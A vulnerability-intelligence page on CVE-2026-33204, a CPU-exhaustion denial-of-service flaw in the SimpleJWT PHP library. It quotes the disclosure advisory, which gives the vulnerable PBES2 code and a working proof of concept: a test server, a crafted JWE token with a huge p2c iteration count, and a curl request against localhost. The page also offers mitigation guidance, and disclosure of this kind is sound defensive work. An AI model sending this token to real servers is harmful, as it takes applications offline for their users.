PHP
CVE-2026-33204
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious JWE with tampered PBES2 header
-
ExploitSubmit to JWE::decrypt() function
-
ExecutionTrigger excessive key derivation computation
-
ImpactExhaust server resources causing denial of service
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK
1 technique across 1 tactic: Impact The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker sends malformed JWE tokens with PBES2 key derivation algorithms to applications calling SimpleJWT v1.1.0's JWE::decrypt() on untrusted input. No authentication, user interaction, or special configuration required. Default usage of PBES2 algorithm handling is vulnerable. |
| Impact | This vulnerability presents a high real-world risk with a CVSS score of 7.5 (High severity) due to its network-based attack vector (AV:N), low attack complexity (AC:L), and no authentication requirements (PR:N). The availability impact is rated High (A:H) as successful exploitation can completely exhaust server resources. The publicly available proof-of-concept significantly lowers the exploitation barrier, demonstrating that a single HTTP GET request with a malicious JWE token can block PHP workers for 30+ seconds until execution limits terminate the process. While EPSS data is not provided in the intelligence sources, the combination of no authentication requirement, trivial exploitation complexity, and public POC suggests high exploitability. The attack is highly automatable and could be used in distributed denial-of-service campaigns against applications using PBES2 algorithms for JWE decryption. This should be prioritized for patching in production environments, particularly for public-facing applications that process user-supplied JWE tokens. |
| Exploit ScenarioDerived | An attacker crafts a JWE token with a valid Base64URL-encoded JSON header containing a malicious p2c value of 409,123,223,136 iterations while leaving other segments as arbitrary data. They send this token via an HTTP GET request to any application endpoint that processes JWE decryption, such as /api/decrypt?token=eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla. The server begins executing hundreds of billions of PBKDF2 iterations, consuming 100% CPU on the worker thread for 30+ seconds until PHP execution limits terminate the process. By automating multiple concurrent requests using simple curl commands or scripting, an attacker can exhaust all available PHP workers and render the application completely unavailable to legitimate users without requiring any authentication credentials. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 18, 2026
The SimpleJWT PHP library version 1.1.0 contains an algorithmic complexity denial-of-service vulnerability in its PBES2 password-based encryption implementation. An unauthenticated attacker can send a crafted JWE token with an extremely large p2c (PBKDF2 iteration count) parameter in the header, forcing the server to perform hundreds of billions of iterations during key derivation and causing CPU exhaustion. A working proof-of-concept exploit is publicly available demonstrating how a single malicious request can block PHP workers until execution timeouts are reached.
RemediationAI
Immediately upgrade the kelvinmo/simplejwt library to a patched version once available, monitoring the GitHub security advisory at https://github.com/kelvinmo/simplejwt/security/advisories/GHSA-xw36-67f8-339x for release information. Until a patch is deployed, implement input validation to reject JWE tokens with p2c values exceeding a reasonable threshold (recommended maximum of 100,000-250,000 iterations) before passing them to JWE::decrypt(). Application-level rate limiting and request timeouts should be enforced to limit the impact of exploitation attempts. If PBES2 algorithms are not required for your use case, configure the application to use alternative key encryption algorithms such as RSA-OAEP or direct key agreement methods. For high-risk deployments, consider implementing Web Application Firewall (WAF) rules to detect and block JWE tokens with suspicious p2c header values until library-level fixes are deployed.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the kelvinmo/simplejwt Composer package (pkg:composer/kelvinmo_simplejwt) version 1.1.0, a PHP library implementing JSON Web Token (JWT), JSON Web Signature (JWS), and JSON Web Encryption (JWE) standards. The flaw manifests in the PBES2.php key management class which implements PBES2 (Password-Based Encryption Scheme 2) algorithms as defined in RFC 7518. The root cause is CWE-400 (Uncontrolled Resource Consumption) where the decryptKey() method processes the untrusted p2c header parameter directly into PHP's hash_pbkdf2() function without validation. Unlike secure implementations that enforce maximum iteration count ceilings (typically 100,000-250,000), this library allows attacker-controlled values exceeding 400 billion iterations. The vulnerability is triggered during the key derivation phase before authentication or decryption validation occurs, making it exploitable with syntactically valid but otherwise invalid JWE tokens.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Summary
An unauthenticated attacker can perform a Denial of Service via JWE header tampering when PBES2 algorithms are used. Applications that call JWE::decrypt() on attacker-controlled JWEs using PBES2 algorithms are affected.
Details
PHP version: PHP 8.4.11 SimpleJWT version: v1.1.0
The relevant portion of the vulnerable implementation is shown below (PBES2.php):
<?php
/* ... SNIP ... */
class PBES2 extends BaseAlgorithm implements KeyEncryptionAlgorithm {
use AESKeyWrapTrait;
/** @var array<string, mixed> $alg_params */
static protected $alg_params = [
'PBES2-HS256+A128KW' => ['hash' => 'sha256'],
'PBES2-HS384+A192KW' => ['hash' => 'sha384'],
'PBES2-HS512+A256KW' => ['hash' => 'sha512']
];
/** @var truthy-string $hash_alg */
protected $hash_alg;
/** @var int $iterations */
protected $iterations = 4096;
/* ... SNIP ... */
/**
* Sets the number of iterations to use in PBKFD2 key generation.
*
* @param int $iterations number of iterations
* @return void
*/
public function setIterations(int $iterations) {
$this->iterations = $iterations;
}
/* ... SNIP ... */
/**
* {@inheritdoc}
*/
public function decryptKey(string $encrypted_key, KeySet $keys, array $headers, ?string $kid = null): string {
/** @var SymmetricKey $key */
$key = $this->selectKey($keys, $kid);
if ($key == null) {
throw new CryptException('Key not found or is invalid', CryptException::KEY_NOT_FOUND_ERROR);
}
if (!isset($headers['p2s']) || !isset($headers['p2c'])) {
throw new CryptException('p2s or p2c headers not set', CryptException::INVALID_DATA_ERROR);
}
$derived_key = $this->generateKeyFromPassword($key->toBinary(), $headers);
return $this->unwrapKey($encrypted_key, $derived_key, $headers);
}
/* ... SNIP ... */
/**
* @param array<string, mixed> $headers
*/
private function generateKeyFromPassword(string $password, array $headers): string {
$salt = $headers['alg'] . "\x00" . Util::base64url_decode($headers['p2s']);
/** @var int<0, max> $length */
$length = intdiv($this->getAESKWKeySize(), 8);
return hash_pbkdf2($this->hash_alg, $password, $salt, $headers['p2c'], $length, true);
}
}
?>The security flaw lies in the lack of input validation when handling JWEs that uses PBES2. A "sanity ceiling" is not set on the iteration count, which is the parameter known in the JWE specification as p2c (RFC7518). The library calls decryptKey() with the untrusted input $headers which then use the PHP function hash_pbkdf2() with the user-supplied value $headers['p2c'].
This results in an algorithmic complexity denial-of-service (CPU exhaustion) because the PBKDF2 iteration count is fully attacker-controlled. Because the header is processed before successful decryption and authentication, the attack can be triggered using an invalid JWE, meaning authentication is not required.
Proof of Concept
Spin up a simple PHP server which accepts a JWE as input and tries to decrypt the user supplied JWE.
mkdir simplejwt-poc
cd simplejwt-poc
composer install
composer require kelvinmo/simplejwt
php -S localhost:8000The content of index.php:
<?php
require __DIR__ . '/vendor/autoload.php';
$set = SimpleJWT\Keys\KeySet::createFromSecret('secret123');
$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$method = $_SERVER['REQUEST_METHOD'];
if ($uri === '/encrypt' && $method === 'GET') {
// Note $headers['alg'] and $headers['enc'] are required
$headers = ['alg' => 'PBES2-HS256+A128KW', 'enc' => 'A256CBC-HS512'];
$plaintext = 'This is the plaintext I want to encrypt.';
$jwe = new SimpleJWT\JWE($headers, $plaintext);
try {
echo "Encrypted JWE: " . $jwe->encrypt($set);
} catch (\RuntimeException $e) {
echo $e;
}
}
elseif ($uri === '/decrypt' && $method === 'GET') {
try {
$jwe = $_GET['s'];
$jwe = SimpleJWT\JWE::decrypt($jwe, $set, 'PBES2-HS256+A128KW');
} catch (SimpleJWT\InvalidTokenException $e) {
echo $e;
}
echo $jwe->getHeader('alg') . "<br>";
echo $jwe->getHeader('enc') . "<br>";
echo $jwe->getPlaintext() . "<br>";
}
else {
http_response_code(404);
echo "Route not found";
}
?>We have to craft a JWE (even unsigned and unencrypted) with this header, notice the extremely large p2c value (more than 400 billion iterations):
{
"alg": "PBES2-HS256+A128KW",
"enc": "A128CBC-HS256",
"p2s": "blablabla",
"p2c": 409123223136
}The final JWE with poisoned header: eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla.
Notice that only the header needs to be valid Base64URL JSON, the remaining JWE segments can contain arbitrary data.
Perform the following request to the server (which tries to derive the PBES2 key):
curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: localhost:8000' \
$'http://localhost:8000/decrypt?s=eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla'The request blocks the worker until the PHP execution timeout is reached, shutting down the server:
[Sun Mar 15 11:42:18 2026] PHP 8.4.11 Development Server (http://localhost:8000) started
[Sun Mar 15 11:42:20 2026] 127.0.0.1:38532 Accepted
Fatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in /home/edoardottt/hack/test/simplejwt-poc/vendor/kelvinmo/simplejwt/src/SimpleJWT/Crypt/KeyManagement/PBES2.php on line 168Impact
An attacker can send a crafted JWE with an extremely large p2c value to force the server to perform a very large number of PBKDF2 iterations. This causes excessive CPU consumption during key derivation and blocks the request worker until execution limits are reached. Repeated requests can exhaust server resources and make the application unavailable to legitimate users.
Credits
Edoardo Ottavianelli (@edoardottt)
Executive ViewAI
SimpleJWT PHP library 1.1.0 contains a denial-of-service vulnerability that allows attackers to crash web application servers with a single request, potentially taking services offline. Any organization running affected versions faces immediate risk of service disruption and business continuity impact without a vendor patch available.
Implement Web Application Firewall (WAF) rules to reject JWE tokens with p2c header values exceeding 500,000 iterations; enable aggressive rate limiting on authentication/token endpoints (e.g., 10 requests/second per IP); configure PHP max_execution_time to 5-10 seconds to prevent indefinite hangs; disable PBES2 encryption support if not required; implement network-level DDoS mitigation; consider disabling JWE token acceptance entirely until patched; monitor CPU utilization for anomalies indicating exploitation attempts.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.
Affected Products (CPE)GitHub Advisory
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-xw36-67f8-339x
NVD
CVE.org
EPSS
VulDB
Exploit-DB